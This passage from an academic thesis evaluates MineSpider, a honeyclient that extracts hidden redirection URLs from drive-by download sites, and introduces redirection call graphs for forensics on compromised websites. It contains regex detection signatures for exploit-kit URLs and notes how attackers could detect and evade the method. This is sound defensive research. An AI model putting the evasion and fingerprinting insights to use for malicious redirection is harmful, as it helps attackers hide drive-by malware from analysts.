prepared an HTTP replay server that responds to a request with web content based
on a URL. MineSpider evaluated the web content in the data by sending requests
based on the seed URLs to the replay server. The data used in this experiment
were communication data with 19,899 landing URLs captured during the three-
year period from 2011 to 2014 and containing one or more slicing criteria for each
crawl of the landing URLs.

3.3.2 Environmental Setup

We prepared HtmlUnit without making any changes as a conventional low-interaction
honeyclient system and compared it with MineSpider. Both systems emulate In-
ternet Explorer 6 on Windows XP SP2 as an analysis environment and arbitrary
versions of Java Runtime Environment (JRE), Acrobat PDF, and Flash Player as
browser plugins. In addition, we empirically determined the following heuristic
values to reduce the time our proposed method takes to analyze JavaScript:

• The slice size for extraction was limited to 128 KB.
• The number of slicing criteria was limited to 20.
• The number of branch statements for execution path exploration was limited
to 5.

The slice size and number of slicing criteria were set to not exceed the above
values in approximately 80% of crawls for maintaining the completeness of URL
extraction. We set the number of branch statements for execution path exploration
to five because we found that a typical exploit kit contains from three to four
conditional redirection codes on average in the preliminary manual inspections of
Section 3.3.5.

We obtained the experimental results presented in this section using two com-
puters, both running Ubuntu 12.01. One computer (2.93-GHz processor and 24-
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Table 3.1: Experimental results
# Landing URLs 19,899
# Extracted Conventional system 93,386
unique URLs MineSpider 123,397

MineSpider (No plugins) 122,146
Average crawling Conventional system 6.370
time [sec] MineSpider 12.470

MineSpider (No plugins) 12.302

GB RAM) replayed the communication data, and the other (3.16-GHz processor
and 4-GB RAM) ran both the systems and evaluated web content.

3.3.3 Extracting URLs from Web Content

We list the number of extracted unique URLs and the crawling time of the con-
ventional system and MineSpider in Table 3.1. We defined the term “URL” as a
string starting from “http://” or “https://” and excluded “file://” and “javascript://”.
Table 3.1 indicates that MineSpider extracted more than 30,000 new URLs that
the conventional system missed. The crawling time of MineSpider was approxi-
mately two times longer than that of the conventional system. While MineSpider
requires some analysis overhead, it can extract URLs that the conventional system
cannot extract. In addition, the number of URLs extracted with MineSpider de-
creased by approximately 1,000 URLs when MineSpider did not emulate browser
plugins, although the crawling time did not change. This result shows that it is
important to have various browser plugin emulations to obtain more URLs.

After extracting the URLs, we further matched them with the public signa-
tures [67, 68] of characteristic URLs used in typical exploit kits and our original
signatures of Table 3.2 generated through manual inspections to examine whether
URLs extracted with MineSpider were obviously malicious. In the dataset, URLs
contained in 14,998 (75.3%) crawls matched these two signatures. As a result,
MineSpider extracted URLs contained in 13,991 (70.3%) crawls that matched the
signatures. On the other hand, the conventional system extracted URLs contained
in 12,052 (60.6%) crawls that matched the signatures. Examples of matched ex-
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Table 3.2: Malicious URL signatures generated by manual inspections
Category Signature
Angler Exploit Kit script.html\?0.[0-9]{15,18}
CK Exploit Kit /(xx.html | yy.html | zz.html)
Cool Exploit Kit /media/(pdf new.php | file.php | new.jar | field.swf)
Non-Exploit Kit www[1-3].[a-z0-9\-]{10,32}.(sxx.in | 4pu.com)

ploit kits included Angler, RedKit, Blackhole, Styx, SweetOrange, NuclearPack,
Cool, CritxPack, and FlashPack. Although about 6,000 crawls did not match,
we found through manual inspections that most of these URLs were maliciously
generated by exploit kits that were not included in the signatures or malicious
websites that use custom exploit codes or executable files without exploit kits. In
total, the matched URLs that could not be extracted with the conventional system
but could be extracted with MineSpider were contained in 1,939 (9.7%) crawls.
These results show that MineSpider can extract more URLs with high levels of
maliciousness than the conventional system.

3.3.4 Analysis Coverage for Extracting URLs

With our proposed method, program slicing is effective for variable resolution and
execution path exploration is effective for multi-path executions. For example, in
Fig. 3.2, program slicing and execution path exploration are necessary to resolve
the variable arg of the slicing criterion at line 13 and to analyze all execution
paths of the slice, respectively. In other words, slicing criteria (the identified redi-
rection codes) can be divided into two types: code that contains some Variable

parts and code that has only Constant parts. The extracted slices also can be cat-
egorized into two types: those that have branch statements (MultiplePaths) and
those without branch statements (S inglePath). To evaluate the analysis coverage
of URL extraction carried out by program slicing and execution path exploration,
we summarize the results of the total number of extracted URLs for each slice
classification in Table 3.3. We can see from the table that half of the identified
redirection codes contain some variables. This means that dynamic variable res-
olution by program slicing enables MineSpider to extract more complete URLs
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Table 3.3: Extracted URL count for each slice classification
MultiplePaths SinglePath

Constant 2,204 34,104
Variable 15,356 18,006

Table 3.4: Number of URLs contained in environment-dependent redirection code
in exploit kit

Exploit Kit Code Execution : Manual Analysis
Blackhole 1 : 7
RedKit 1 : 1
Styx 1 : 3

than static approaches, e.g., regular expressions. Table 3.3 also shows that a non
negligible number of MultiplePaths are extracted. This means that multi-path ex-
ecutions of an extracted slice by execution path exploration enable MineSpider
to extract more complete URLs than a single path execution. To extract mali-
cious content while countering evasion techniques, such as code obfuscation and
environment-dependent redirection, in addition to improving the analysis cover-
age statically, it is important to dynamically execute and analyze code.

3.3.5 Case Studies: Extracting URLs from Exploit Kits

To evaluate the number of new URLs extracted with MineSpider, we inspected,
by simple code execution and manual analysis, the number of URLs that can be
extracted from environment-dependent redirection code contained in typical ex-
ploit kits such as Blackhole, RedKit, and Styx. Table 3.4 lists the number of URLs
that were extracted from environment-dependent redirection code in each exploit
kit. Whereas code execution can extract only one URL, manual analysis can ex-
tract multiple URLs according to the results. Specifically, code execution can
extract only one URL from an environment-dependent redirection code because
this approach can analyze only a single execution path even if the code contains
multiple execution paths. Although RedKit contained one environment-dependent
code, the result of RedKit was one URL in any approach because code execution
matched the branch condition. These manual inspections show that typical ex-
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ploit kits use environment-dependent code that redirects to an average of three to
four kinds of URLs. MineSpider was able to extract the same number of URLs as
extracted by manual analysis from the exploit kits used in this inspection. There-
fore, in view of the fact that the results in Table 3.1 include malicious websites
using exploit kits, such as RedKit, or custom exploit codes without any variation
in the number of URLs, the number of new URLs extracted with MineSpider is
validated.

3.3.6 Performance Overhead

We evaluated the average preprocessing time (AST traversal time and PDG con-
struction time), slice computation time (backward slicing time and path explo-
ration time), and slice evaluation time used with the proposed method. The results
indicated that these time costs were 1.188, 4.206, and 0.796 sec, respectively, and
that slice computation was the most time-consuming process. The above results
are the average times required to compute 240,807 slicing criteria for URL extrac-
tions. In this experiment, we excluded 139,740 slicing criteria and 85,068 slices
from the analysis objects by limiting the number of slicing criteria and the slice
size to reduce the analysis time. However, no URLs were embedded in any of the
excluded objects because we cannot identify whether a DOM manipulation code
in Table 2.1 refers to a URL unless the code is executed, as we described previ-
ously. We found in a manual inspection that most of the excluded objects were
parts of benign code, such as JavaScript API provided from SNSes, or advertise-
ments and JavaScript library such as jQuery or Prototype. To further reduce the
analysis time, we need to optimize our method by tuning the heuristic values.

3.4 Discussion

3.4.1 Identification of Plugins Relevant to Redirection

If we can identify environment information, such as the name and version of the
browser and browser plugins that is relevant to redirections, we can effectively
identify an environment to be prepared for analysis using conventional methods
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such as a honeyclient. Therefore, we discuss in this section our experimental in-
vestigation of environment information relevant to redirections to the extracted
URLs by applying the proposed method. Our focus in this experiment was plug-
ins (Java, PDF, and Flash) with which MineSpider emulates the arbitrary versions;
hence, we identified the plugins relevant to redirections. More precisely, this in-
volves defining branch statements included in the extracted slices as new slicing
criteria and extracting the code relevant to browser fingerprinting by applying
program slicing of the proposed method just as in the URL extraction. When the
extracted browser fingerprinting code is executed, our method detects the usage of
the plugins by hooking the JavaScript functions, such as String object functions
and DOM manipulation functions, and by monitoring the version number of the
plugins in these arguments. In addition, a method that uses the file extensions of
the extracted URLs (.jar, .pdf, and .swf) and a method that uses HTML tag infor-
mation and the attribute value used in the DOM manipulation code of Table 2.1
(e.g., a Content-Type value that is used as the type attribute of the object tag)
are also general methods to identify the plugins relevant to redirections. We evalu-
ated the plugin identification obtained by applying the proposed method compared
with the plugin identification obtained with a file extension and an HTML tag in
this experiment.

Table 3.5 lists the number of plugin-dependent redirections discovered dur-
ing crawling as well as the breakdown of each plugin. We define the number of
plugins that can be identified by program slicing as S lice, by HTML tag as Tag,
and by file extension as Extension. We can see from the table that approximately
36.5% of the crawls use plugin-dependent redirection code. These results also
show that most of the plugins relevant to redirections are identified by S lice, and
S lice overlaps Tag and Extension. However, Tag can identify Java and Flash
as well as S lice, but cannot identify PDF. This means that attackers tend to refer
to a PDF file in an HTML tag, such as iframe and frame tags for documents,
rather than an HTML tag, such as an object tag or embed tag for multimedia,
depending on the browser support. Extension can identify Flash to some degree,
but cannot identify Java and PDF. This trend is due to the usage of a URL that
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Table 3.5: Number of crawls containing plugin-dependent redirections
Plugin Slice Tag Extension All
Java 3,630 3,078 499 4,244
PDF 6,275 96 164 6,300
Flash 5,051 4,981 3,083 5,302
# Plugin-dependent redirection 7,270
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Figure 3.4: Usage rate of plugins by environment-dependent redirections

uses a file extension not relevant to plugins (e.g., .cgi and .php) and a URL that
does not include an extension.

Fig. 3.4 shows the usage rate of plugins in plugin-dependent redirections within
each quarter. In the figure, we can see that the percentage of Java and PDF was
high from 2012Q4 to 2013Q4, and Flash was high from 2014Q1. This indicates
a changing trend in plugins profiled by browser fingerprinting. Interestingly, the
security vendor’s report [69] shows a correlation with the changing trend in vul-
nerabilities used in exploit kits in the data we collected.

Tag and Extension do not require any analysis overhead; only S lice does. The
average slice computation time and slice evaluation time to identify plugins was
2.355 and 0.542 sec, respectively. While S lice also requires only a little overhead,
just like the URL extraction in Section 3.3.3, it can identify plugins relevant to
redirections more effectively than Tag and Extension can.
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3.4.2 Recursive Extracted URL Access

The experiment described in Section 3.3.3 used only HTTP communication data
that had been detected in an attack by using a high-interaction honeyclient in
advance. This means that web content of URLs newly extracted with the proposed
method was not evaluated. Therefore, more URLs can be extracted by fetching
the web content based on the newly extracted URLs and analyzing them using the
proposed method in the future.

3.4.3 Evasion of Proposed Method

Our proposed method also extracts URLs by executing redirection code that is not
executed logically (e.g., dead code) because it exhaustively extracts redirection
code by program slicing. When we access the URLs extracted with our method,
as we discussed in the previous section, access patterns that are different from
the usual are generated. For example, simultaneous access to the URLs prepared
for Java 6 and Java 7 is respectively generated. Hence, attackers can detect and
circumvent the proposed method by monitoring accesses from the same user and
observing more than one request packets that should not be generated at the same
time.

3.4.4 Extracting URLs from Benign Websites

We described our investigation of the presence of environment-dependent redirec-
tion code in malicious websites in Section 3.3.3. However, benign websites also
use environment-dependent redirection code. Therefore, we investigated the pres-
ence of plugin-dependent redirection code in benign websites by crawling such
websites using MineSpider. The target benign websites were 100 websites chosen
randomly from the top 1 million websites on Alexa [70]. As a result, MineSpi-
der found four websites using redirection code that change the destination URL
depending on the presence of PDF or Flash profiled by browser fingerprinting.
Our manual analysis revealed that the plugin-dependent code is used for access
analysis and advertisements, and fetches web content depending on the presence
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of the plugin for correct operation on the client. These results indicate that we
cannot detect malicious websites only by the presence of environment-dependent
redirection code because benign websites also use environment-dependent redi-
rection code. Our method is not a malicious detection method but a URL ex-
traction method; hence, it needs to be combined with other methods of detecting
malicious URLs.

3.4.5 Failure in Extracting Slices

We used a PDG constructed from static JavaScript analysis for program slicing.
However, it is difficult to construct a PDG and extract slices accurately because
of JavaScript features such as the language design standardized on objects, com-
plicated variable references (e.g., prototype chain and scope chain), and dynamic
objects (e.g., this object). We confirmed in our evaluation that certain side ef-
fects can occur such as an increase in slice computation time or failure in execut-
ing slices due to the extraction of slices with extra variables and functions. Chen
et al. [71] proposed a method for dynamic slicing for Python programs by us-
ing Python bytecode and memory addresses instead of a PDG. They applied their
method to several Python programs to evaluate the average slice ratio and analy-
sis time but did not evaluate the extracted slice accuracy. However, as mentioned
in Section 3.3.5, typical exploit kits contain 2.5 URLs in environment-dependent
redirection code on average, and our method can extract 1.5 new URLs per crawl
on average. Therefore, we can assume that implementing other methods will not
necessarily increase the number of URLs discovered, even if we improve slice
accuracy.

3.5 Limitations

3.5.1 Extracting Malware Distribution URLs

The proposed method uses a browser emulator that enables the browser imple-
mentation to be modified so that we can intercept the browser process and analyze
JavaScript. However, the browser emulator does not execute exploit code that tar-
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gets specific vulnerabilities of browsers because it cannot completely mimic the
behavior of a browser and its vulnerabilities. Thus, our method cannot extract the
malware distribution URL that is accessed by execution of exploit code.

3.5.2 Malicious URL Detection

Our objective was to extract URLs rather than detect malicious URLs. However,
we argue that URLs extracted with our method can be detected as malicious by
combining conventional methods such as malicious JavaScript detection [15, 22,
40] and malicious plugin detection [72, 73, 74]. Simply accessing these extracted
URLs, on the other hand, might not enable web content to be downloaded because
of IP cloaking and/or checking of a redirection chain based on the referrer and/or
the cookie [46, 56]. In the future, we will investigate a procedure for determining
an environment to access these extracted URLs and a content download method
that takes into account the redirection chain.

3.5.3 Identification of Plugin’s Version Number Relevant to Redi-
rection

We identified plugins relevant to redirections by applying the proposed method
and showed the trend in plugins used for environment-dependent redirections in
Section 3.4.1. Most redirections that depend on the plugins often use not only the
presence but also the version number of plugins and change the destination URL
accordingly. We can more effectively determine the plugin version that should be
installed in a high-interaction honeyclient and that should be emulated in a low-
interaction honeyclient by identifying boundary values of plugins used in branch
statements for redirections. However, the version number used in a branch state-
ment is often repeatedly split and joined by manipulating the major and minor ver-
sion number as either string or integer variables. Different methods, e.g., symbolic
execution [75], are necessary for analysis since it is difficult to identify boundary
values in complicated branch statements using our method alone.
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3.5.4 Server-side Browser Fingerprinting

Our method is an analysis method for client-side JavaScript; therefore, it is not fo-
cus on websites that change the destination URL using server-side browser finger-
printing. The information that can be acquired by server-side browser fingerprint-
ing is limited compared to client-side browser fingerprinting, but attackers can
launch drive-by download attacks without the disclosure of potential malicious
URLs and target information by changing the destination URL on the server. De
Maio et al. [58] proposed a method that automatically analyzes PHP code includ-
ing the server-side browser fingerprinting of exploit kits and that discerns whether
a parameter affects the behavior of the exploit kit by data flow analysis. However,
this method is focused on the server-side code instead of the client-side code. For
this reason, the method will miss how the URL parameters are generated from
client-side JavaScript. It is also difficult to obtain exploit-kits’ server-side source
code. Therefore, we insist that our method remains beneficial for expanding in-
formation from the data that can be observed on the client side.

3.6 Related Work

Much research has been done on the analysis and detection of drive-by download
attacks. Some detection methods use high-interaction honeyclients, whereas oth-
ers use low-interaction honeyclients. Several researchers have also proposed code
analysis methods and malicious URL collection methods.

High-interaction Honeyclient

A high-interaction honeyclient is a vulnerable browser in a real environment that is
used to detect malicious websites by monitoring processes and the file system and
by detecting unintended processes (e.g., process and file generation) [28, 30, 31].
The use of a real vulnerable environment for website analysis means that it is
possible to accurately detect attacks including zero-day attacks. However, the
browser can only run a single environment at a time. This method, therefore,
cannot follow redirections to malicious URLs and cannot detect attacks when an
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environment that is not specific to an attack target is used to analyze JavaScript
code that changes the destination URL depending on the browser environment.
In contrast, analysis using various environments has a high operational cost and
also increases costs, such as analysis time and server resources, linearly with the
number of new environments.

Low-interaction Honeyclient

A low-interaction honeyclient is not a real browser but a browser emulator that
detects malicious websites by signature matching, which involves detecting ma-
licious behaviors observed by monitoring the abuse of browser and plugin func-
tions, and/or by applying machine learning based on static and dynamic features
on the retrieved website [34, 35, 36]. This method is safer because it does not
carry out an attack and is more scalable since it is possible to make changes to the
browser implementation. To analyze JavaScript code statically and dynamically,
MineSpider also adopts this method. However, current low-interaction honey-
clients analyze only a single execution path of JavaScript at a time. This means
that this method, like high-interaction honeyclients, cannot detect malicious URLs
if it uses an environment that does not match the one being attacked.

Code Analysis

Many researchers have also proposed methods that improve coverage of JavaScript
analysis because of a honeyclient’s lack of analysis coverage. Wang et al. [61]
proposed a method for extracting URLs in JavaScript by exhaustively executing
functions using call graphs after slicing JavaScript code using an AST and pro-
gram slicing. This method, however, cannot execute code that depends on the
environment because the JavaScript interpreter used for the analysis was devel-
oped uniquely and has no implementation for browser plugins. In addition to the
scalability of the implementation, this method introduces heavier analysis over-
head than our method because this method extracts URLs of static links, such as
an anchor tag and form tag, even if they are not necessary for detecting malicious
websites. On the other hand, our method extract only URLs for using automatic
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redirections of a drive-by download while controlling analysis overhead by target-
ing only suspicious URLs. The analysis time of our method was up to 44% faster
than that in [61]. In addition, we can infer that the analysis overhead of the ex-
tracted URLs is low because our method does not extract unnecessary URLs. Kol-
bitsch et al. [21] proposed a JavaScript multi-execution virtual machine as a way
to explore multiple execution paths within a single execution so that environment-
specific URLs will reveal themselves. However, this method has a fundamental
limitation in terms of the environment because it is implemented in a real browser
(Internet Explorer 9). If environment information (e.g., browser version number)
is used in a URL, this method can only extract a URL for IE 9. Furthermore,
a URL that can be observed with IE 9 is only extracted from a website using
environment-dependent redirection code with sever-side browser fingerprinting.
On the other hand, MineSpider can technically extract URLs that can be observed
with various environments by changing the emulation settings. In this chapter,
we evaluated only the number of URLs extracted from environment-dependent
redirection code with client-side browser fingerprinting because it is difficult to
evaluate the number of URLs extracted from environment-dependent redirection
code with server-side browser fingerprinting from the point of view of objectivity
and repeatability.

Guided Crawling

Discovering malicious URLs from Web space requires an enormous amount of
time. Many methods have been proposed to leverage crawling to discover mali-
cious URLs by using search engines with seed URLs chosen not randomly but
effectively. Akiyama et al. [16] proposed an effective blacklist URL generation
method that increases the number of malicious URLs by discovering URLs in the
neighborhood of a malicious seed URL using a search engine. Luca et al. [17]
also proposed methods to discover malicious URLs similar to seed URLs by ana-
lyzing the web content, DNS traces, and link topology of known malicious URLs.
The combination of our method and these methods can improve the observational
coverage of malicious Web space.
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3.7 Summary

In this chapter, we focused on redirection code that depends on the client envi-
ronment and proposed a method for exhaustively analyzing redirection code for
mining URLs. Our method uses static and dynamic code analysis to improve the
analysis coverage and to counter evasion techniques such as code obfuscation and
environment-dependent redirection. We conducted an experiment using HTTP
communication data with over 19,000 malicious websites that were previously de-
tected as drive-by downloads. The experimental results showed that MineSpider,
a browser emulator that uses the proposed method, extracted more than 30,000
new URLs in a few seconds that conventional methods did not discover. In addi-
tion, by performing signature matching, we showed that the URLs extracted from
malicious websites also had high levels of maliciousness. We believe that the pro-
posed method can reduce the number of false negatives of malicious websites by
maximizing the disclosure of malicious objects such as potential malicious URLs
contained in websites.
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Chapter 4

Fine-grained Analysis of
Compromised Websites with
Redirection Graphs and JavaScript
Traces

4.1 Introduction

Attackers compromise popular websites and integrate them into a drive-by down-
load attack scheme. According to a report [76], approximately 67% of malicious
websites originated from compromised websites. One example is Darkleech at-

tack which exploits vulnerable Apache modules. It has successfully compromised
a large amount of websites; over 40,000 domain names and IP addresses by May
2013, including 15,000 that month alone [77]. If high-reputation websites are
compromised, even attentive users will be exposed to drive-by malware infec-
tions. An incident response organization such as a CSIRT (Computer Security
Incident Response Team) tries to prevent the spread of malware infection by pa-
trolling the Web and warning users. As part of the patrol activities, the organiza-
tion re-analyzes compromised websites reported by users. They identify evidence
of malicious websites and share this information [78]. This shared information is
important for cleaning up compromised websites by reporting abuse to webmas-
ters.

Abuse reporting has been conducted as a national project and as a security ser-
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vice that contributes to cleaning up compromised websites by re-analyzing URLs
shared from various security vendors [79] and security products [80]. However,
attackers build a redirection chain to evade analysis as well as to dynamically
and selectively infect user’s clients with malware depending on the client envi-
ronment [20, 21, 59, 81]. Also, attackers can prevent any disclosure of malicious
content by injecting only redirection code that leads to malicious websites, not
exploit code or malware on compromised websites. Therefore, to mitigate these
anti-analysis techniques and expedite the clean-up of compromised websites, it
is important to identify the evidence and impact of compromise. Identifying evi-
dence that a website has been compromised, such as the precise position of com-
promised web content, contributes to shortening the incident response time and
increasing clean-up rates. Identifying the impact of a compromised website, such
as the targeted client environments, contributes to shortening the re-analysis time
in addition to accelerating security updates to users of the targeted client envi-
ronments. Li et al. reported that it is important to give more detailed diagnostic
information, such as injected content, to webmasters because they lack sufficient
expertise to clean up their websites [80].

To identify the evidence and impact of compromise, we propose a new method
of constructing a redirection graph by tracing redirection chains and JavaScript
executions on websites. After extracting a malicious path, which is a redirection
path to a malicious URL, our method identifies the web content that is the origin
of the redirection, i.e., compromised web content as described in Section 2.3.5,
by traversing backwards along the malicious path. Our system with the proposed
method accesses a website using a multi-client environment to identify targeted
client environments. This environment detects the differences of redirected URLs
using these multiple access results while minimizing the number of environment
profiles by designing them on the basis of known vulnerability information. To
the best our knowledge, our system is the first tool for website forensics that can
automatically identify the evidence and impact of compromise on the basis of
useful forensic artifacts, e.g., packet capture data or website data. Specifically, this
system can reveal which web content does a redirection originate, which URLs
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are associated with attacks, and which client environment is exposed to threats.
This fine-grained analysis would provide practical directions to CSIRTs/security
vendors for prompt incident response and expedite compromised website clean-
up.

In summary, this chapter makes the following contributions.

• Our system successfully identified malicious URL relations and the precise
position of compromised web content. As a result, the number of URLs
and the amount of web content to be analyzed were sufficient for incident
responders by 15.0% and 0.8%, respectively.

• We show that our system can automatically identify client-dependent redi-
rections and the target range of client environments in 30.4% of websites.
Using target range information, we can also identify a vulnerability that has
been used in malicious websites.
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4.2 Overview of Compromised Website Response

An incident response organization, such as a CSIRT, constantly patrols whether
websites that are under their own organization and hosting services have been
compromised, i.e., the active crawls of 1 – 3 in Fig. 4.1. Such an organization
also re-analyzes compromised websites that are reported by general public users
and sends abuse reports with the detected URL to webmasters after confirming the
reproducibility of attacks, i.e., the reactive crawls of 1⃝ – 5⃝ in Fig. 4.1 [78]. How-
ever, in many cases, an abuse report with only URLs generated in this way is not
enough to clean up compromised websites; therefore, webmasters cannot respond
appropriately to such reports. Moreover, malicious websites cannot always be de-
tected using analysis environments due to cloaking. Therefore, to create detailed
abuse reports and increase clean-up rates, the following information is required.

• Redirection origin: Identifying a fine-grained redirection origin as evi-
dence that a website has been compromised, such as which web content
redirects to which malicious website, is important for webmasters when
cleaning up compromised web content precisely. Thus, we must handle
complicated obfuscations and redirection chains.

• Targeted client environments: Identifying targeted client environments to
determine the impact of a compromised website, such as which versions of
browsers and/or plugins are redirected to malicious websites, is beneficial
for confirming the reproducibility of attacks. In addition, we can also accel-
erate security updates by warning users of the targeted client environments.
Thus, we must mitigate cloaking techniques.

Methods of detecting website compromises that compare original web con-
tent to compromised web content have been proposed [5, 6]. Furthermore, Trip-
Wire [82], widely known as a compromise detection tool, can detect file oper-
ations, such as modification and deletion, by monitoring files on a web server.
However, these methods have limitations in terms of operation; for example, they
require the original files and can detect only compromised web content on one’s
own web server.
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Figure 4.2: Semantic gap between Referer header and JavaScript redirection

To identify redirection chains, methods for constructing a redirection graph, in
which the nodes represent accessed URLs and directed edges represent redirection
methods, by using a Referer header or a Location header [42] and by leverag-
ing some heuristics/features [44] have been proposed. However, in many cases,
the Referer header is not set [11]. Additionally, these methods cannot connect
tricky links such as a redirection with an inconsistent Referer header. This se-
mantic gap in the Referer header occurs when the redirection results from an
external JavaScript.

We now give more details on the semantic gap in a redirection graph using the
website in Fig. 4.2. In this website, a web browser loads the JavaScript of URL B
by using a script tag in URL A accessed first ( 1⃝). Next, the DOM API code
in URL B is executed ( 2⃝). In this case, an iframe tag that points to URL C is
inserted into the HTML of URL A. As a result, an HTTP request to URL C is
generated with the Referer header of URL A ( 3⃝). The Referer header indi-
cates the base URL, i.e., URL A, of the web content that is rendered on the web
browser, not the external JavaScript URL, i.e., URL B, that contains the redirec-
tion code. This semantic gap occurs due to the general behavior of web browsers
and is frequently observed on legitimate websites. However, this gap results in
a logically incorrect redirection graph without some edges, for example, an edge
from URL B to URL C is not connected, which we call a semantic gap edge. In
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Figure 4.3: System overview

other words, when URL D is a malicious URL, a redirection graph constructed by
conventional methods cannot identify the document.write statement in URL B
as a redirection origin due to a semantic gap even if traversing backwards along
the path from URL D to URL A.

4.3 Proposed Method and System

To identify the redirection origin, we propose a method of constructing a redi-
rection graph with context, such as which content redirects to which websites, by
tracing the redirection and JavaScript execution processes. The combination of
a redirection graph and a JavaScript execution graph, which we call a “redirec-
tion call graph” (RCG), can bridge semantic gap edges and contribute to identi-
fying the precise position of redirection origins. We implemented a system with
our method, as shown in Fig. 4.3. Also, our system accesses a website using a
multi-client environment to identify targeted client environments while construct-
ing RCGs. It detects the differences of accessed URLs among multiple access
results while minimizing the number of environment profiles by designing them
on the basis of known vulnerability information. We detail each system compo-
nent in the following subsections.
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4.3.1 Identifying Redirection Origin as Evidence of Compro-
mise

Our method of identifying redirection origins is composed of a monitoring be-

havior phase, constructing RCG phase, identifying malicious node phase, and ex-

tracting compromised content phase ( 1⃝ in Figure 4.3).

Monitoring Behavior

Our system accesses websites and collects redirection and JavaScript traces by
monitoring behaviors during the process of interpreting fetched web content. We
explain the behavioral information as follows.

• HTTP transaction: An HTTP response with the status code 3XX is cap-
tured in HTTP transactions for tracing HTTP redirections. When an HTTP
server responds to this status code, the HTTP request URL, URL in the
Location header, and HTTP status code are recorded as a redirection source
URL, redirection destination URL, and redirection method, respectively.

• HTML parsing: Our system monitors HTML tags, e.g., iframe, frame,
script, meta, object, embed, and applet, that redirect to a different
URL during HTML parsing to trace redirections with HTML tags. When
these HTML tags are parsed, the URL that contains the HTML tag, URL to
which the HTML tag points, and HTML tag name are recorded as a redi-
rection source URL, redirection destination URL, and redirection method,
respectively.

• JavaScript API hooking: Our system monitors executed JavaScript code
and JavaScript function calls, e.g., eval(), setTimeout(), setInterval(),
function calls of window, location, element, node, and document ob-
jects, to construct a JavaScript execution graph and connects semantic gap
edges. Then, to trace redirections with JavaScript, the JavaScript URL, URL
to which the JavaScript points, and JavaScript function name are recorded
as a redirection source URL, redirection destination URL, and redirection
method, respectively.
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Figure 4.4: Comparison of graphs constructed with proposed and conventional
methods

Constructing Redirection Call Graph

This phase constructs a RCG based on recorded trace information. As a result, a
directed graph with the following nodes and edges, such as the top of Fig. 4.4, is
structured.

• Redirection node and edge: A redirection node represents an accessed
URL. A redirection edge represents a redirection method and connects redi-
rection nodes. To construct these nodes and edges, we use information ob-
tained from HTTP transaction and HTML parsing in the previous phase.

• JavaScript execution node and edge: A JavaScript execution node rep-
resents code executed by the JavaScript interpreter, for example, code ex-
ecuted while rendering websites, code executed by an event, e.g., onload()
and onclick(), and code dynamically executed by eval(), setInterval(),
and setTimeout(). We can identify which code is executed by tracing
these code executions. This node is managed by the hash value of the
code. Figure 4.4 shows that a redirection graph contains the hash val-
ues of JavaScript execution nodes (JS 1, JS 2, and JS 3 in this case). A
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JavaScript execution edge represents a JavaScript execution method and
connects JavaScript execution nodes, for example, eval, setInterval,
and setTimeout. In addition, this edge contains redirection methods to
different URLs to identify JavaScript redirections.

• Semantic gap edge: Our method associates an HTML tag generated by
JavaScript with the JavaScript URL to bridge a semantic gap edge. When
a redirection occurs via the parsing of an HTML tag, e.g., an iframe tag
and a script tag, the source URL is identified from not only the base URL
but also the associated JavaScript URL if the HTML tag is generated by
JavaScript.

We explain a semantic gap edge using Fig. 4.2. When document.write is ex-
ecuted in URL B, a pair of URL B and the iframe tag generated by document.write
is saved. Next, when the iframe tag inserted in URL A is parsed, URL B is
uniquely identified from the pair information. Finally, when the redirection of
the iframe tag occurs, an edge from URL B to URL C is connected. Then, the
redirection method of the edge from URL B to URL C is set to the DOM API
function and HTML tag name, “document.write(iframe).”

Figure 4.4 depicts a comparison of Fig. 4.2 between a redirection graph us-
ing the preceding proposed methods and a conventional redirection graph. Our
method can identify an obfuscation process from JS 1 to JS 2 by eval and con-
nect an edge from URL B to URL C by document.write. However, none of the
information mentioned above can be identified from the conventional redirection
graph. This information is necessary for incident responders to conduct efficient
and effective website forensics.

Identifying Malicious Node

This phase identifies malicious nodes in the RCG constructed in the previous
phase using a blacklist of known malicious URLs. These known malicious URLs
can be obtained from detection results by using conventional techniques such as
a high-interaction honeyclient and anti-virus. In addition to matching exact ma-
licious URLs, we detected suspicious URLs of the same domain name and the
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same number of path hierarchies or the same number of domain name hierarchies
and the same path compared with the malicious URLs. This suspicious URL de-
tection helps minimize the effects of URLs using DGA-domains and/or random
strings. This phase also extracts malicious paths from identified malicious nodes
to the node of the landing URL.

Extracting Compromised Content

A redirection origin is extracted by traversing backwards along a malicious path,
which is identified in the previous phase, from the leaf URL to the origin URL.We
explain the extraction method in Fig. 4.4. If the redirection path from URL A to
URL D is classified as malicious, e.g., JS 3 contains the exploit code, the script
tag that points to URL B in URL A is extracted as a redirection origin. A redirec-
tion origin contains the origin/leaf URLs and the redirection method/destination
URL. Moreover, to identify the precise position of redirection origins, this phase
extracts DOM information, such as the DOM tree structure, in the case of an
HTML-based compromise. In the case of a JavaScript-based compromise, the
JavaScript execution information is extracted such as executed code.

It is important to note that a redirection origin of the landing URL is not always
compromised web content. For example, if JS 1 in Fig. 4.4 is compromised web
content, the script tag in URL A described above is a false positive. Therefore,
this phase minimizes the number of false positives by following a malicious path
from the landing URL to the URL with a domain name that is different from the
source URL after traversing backwards. This means that we consider web content
that generates such inter-domain edge as a redirection origin because the domain
name of compromised websites is different from that of malicious websites [3].
Specifically, JS 1 is detected as a redirection origin by the difference between
URL B’s domain name and URL C’s domain name.
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Figure 4.5: Aggregation of duplicated CVEs and plugin versions

4.3.2 Identifying Targeted Client Environment as Impact of
Compromise

To identify targeted client environments, our system analyzes a website in a multi-
client environment that increases the possibility of the behavior of a website being
changed by browser fingerprinting, such as boundary testing. The analysis envi-
ronment is composed of a composing client phase and a matching results phase
( 2⃝ in Figure 4.3).

Composing Client

This phase decides on a client environment from a matrix of vulnerabilities and
its affected client environments. Our method can decrease the number of client
environments by aggregating the environment’s duplications (Fig. 4.5). If we can
predict potential targeted vulnerabilities in websites, the number can be further de-
creased by filtering out the corresponding columns of the matrix. For example, we
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show a matrix of the matching of known vulnerability information obtained from
CVE Details [83] and affected versions of Adobe Flash Player in Table 4.1. We
further decreased the elements of the matrix by utilizing the vulnerability infor-
mation of exploit kits from 2014–2015 obtained from contagio [84]. In Table 4.1,
the versions of Adobe Flash Player were aggregated from 251 to 31. Note that
oldest version is selected from aggregated versions.

Matching Results

Our system compares crawl results of various environments and detects differ-
ences in the accessed URLs among the results, i.e., it investigates whether each
crawl result contains malicious URLs. From the matching results, we can identify
which client environment is redirected to a malicious URL.
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Table 4.2: Number of plugin versions
JRE PDF Flash

Exploit kits from 2014–2015 14 1 31
Exploit kits from 2011–2013 37 23 32

Official installer 193 103 251
Environment profile reduction 142 79 188

4.3.3 Implementation

To monitor fine-grained processes of HTML parsing and JavaScript execution for
